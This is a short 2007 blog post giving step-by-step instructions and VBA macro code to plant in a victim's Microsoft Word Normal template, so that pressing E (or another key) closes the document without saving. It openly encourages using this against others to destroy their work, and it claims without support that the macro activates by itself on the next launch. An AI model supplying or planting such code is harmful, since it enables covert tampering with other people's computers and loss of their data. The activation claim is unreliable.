Black and White.

Tuesday, November 27, 2007

Microsoft Word Prank

What is the most common letter in the English language? E right? Well what would you do if every time you typed “E” in microsoft word it closed your word document and didnt save any of your work. Well you might throw your computer out the window and kill who ever did it to you. So hell lets do it right?

Step 1: Open up Micro Soft Word

Step2: Press alt F11, this will open up a vba editor for word.

Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.

Step4: Copy and past this code into the document (Remember to re type all quotations)

Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:=”TestKeybinding”
End Sub

Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub

Step5: Close word

Step6: Enjoy

If you did this correctly the next time they load word this code will be called and loaded. What it will do is every time the key “E” is pressed is it will close the document and NOT SAVE. You can change the key to anything you like and below I have listed some different key options. Have fun and unleash hell.

Key Options

To change the key from E to something else replace this piece of the code in bold

.KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE)

If you want to use a different letter it is: wdKeyYOURLETTER

If you want to use a key other than a letter or a number, it usualy is the keys name.
Example: wdKeyBackspace

No comments: